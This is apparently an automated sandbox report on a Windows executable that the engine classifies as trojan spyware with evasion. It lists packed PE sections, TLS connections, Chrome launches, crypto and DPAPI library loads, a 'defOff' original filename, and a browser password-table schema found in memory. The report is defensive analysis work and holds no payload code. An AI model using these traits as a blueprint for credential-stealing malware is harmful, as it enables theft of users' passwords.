Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.174.133:443 -> 192.168.2.7:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49902 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49920 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.7:50094 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A9849	5_3_012A9849
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A9849	5_3_012A9849
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A9849	5_3_012A9849
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A9849	5_3_012A9849
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A9849	5_3_012A9849
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A9849	5_3_012A9849
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A9849	5_3_012A9849
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A9849	5_3_012A9849
Source: C:\Users\user\Desktop\file.exe	Code function: 5_3_012A9849	5_3_012A9849
Source: C:\Users\user\Desktop\file.exe	Code function: 5_2_0619D67B	5_2_0619D67B

Source: file.exe, 00000005.00000003.1532929844.0000000005D23000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1541750655.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1531334402.0000000005DEC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1530165491.0000000005D0A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1538332305.0000000005EA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1528358849.0000000005D9E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1545302641.0000000005C5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1540050609.0000000005ECD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1515499905.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1513007068.0000000005ADA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1538925717.0000000005C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1538773604.0000000005EA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1534631927.0000000005E4C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1532641569.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1531666095.0000000005D1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1532126617.0000000005C60000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1536126069.0000000005D5D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1534508643.0000000005D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1536891057.0000000005E7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1544242128.0000000005D99000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1518930435.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1538493557.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1516719654.00000000058B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1536431162.0000000005C55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1534169918.0000000005C55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1517447774.0000000005C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1522230280.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1532835744.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1535262897.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1535521975.0000000005D5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1533107285.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1533751767.0000000005D4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1534292282.0000000005D51000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1538621579.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1543267153.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1516975224.0000000005CF9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000002.1666628456.0000000005C52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1532445177.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1544962507.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1536707274.0000000005D63000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1529050671.0000000005D0D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1534753547.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1528746831.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1533550919.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1539662512.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1530453259.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1534402953.0000000005C57000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1544016174.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1518415137.0000000005CFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1545470508.0000000005DA7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1532539497.0000000005D28000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1530912091.0000000005D1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1535080394.0000000005E48000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1530593615.0000000005D15000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1537827040.0000000005E88000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1535822025.0000000005D5C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1548073615.00000000057C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1547873056.0000000005A52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1537243068.0000000005D7C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1539813571.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1533379315.0000000005E31000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1533866653.0000000005C5F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1548466900.00000000057B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1537060681.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1544815445.0000000005EF1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1534068080.0000000005E40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1537987462.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1521646725.0000000005D01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1537609379.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1542911163.0000000005D9D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1513007068.0000000005A52000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1532286980.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1539091509.0000000005D8F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1513007068.0000000005A95000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1531202394.0000000005D20000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1537434435.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1515784609.00000000058B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1535974058.0000000005C55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1540624753.0000000005D98000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1533007132.0000000005DFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1522812271.0000000005D01000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1515681096.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1545636482.0000000005EFF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1529537214.0000000005C53000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1533648657.0000000005C58000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1533277752.0000000005D40000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1515869881.0000000005C61000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1530338813.0000000005DC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1533966893.0000000005D49000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1548016938.000000000587B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1516835115.0000000005C5A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1531972654.0000000005DEF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1535661878.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1538152658.0000000005D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1548900914.0000000001279000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1536277343.0000000005E64000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1539292087.0000000005C55000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1515611954.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1533455851.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1548295040.00000000012A2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1540196300.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1543687425.0000000005D93000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1524752420.0000000005C54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000002.1667033431.0000000006006000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1525431094.0000000005CF3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1532737246.0000000005D30000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1545137941.0000000005DA9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1531029640.0000000005C5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1531533668.0000000005C59000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1534883459.0000000005D42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1530723615.0000000005C5E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000005.00000003.1539460232.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9992267491467577
Source: file.exe	Static PE information: Section: sxmimxoh ZLIB complexity 0.9945588964307505

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/65@9/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000005.00000003.1373854278.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1353267096.00000000057E6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000005.00000003.1353588842.00000000057C8000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1880,i,16005294969273023944,6149792869033934802,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1912,i,9192152280094164076,13966168895789151586,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2200 --field-trial-handle=1880,i,16005294969273023944,6149792869033934802,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1912,i,9192152280094164076,13966168895789151586,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
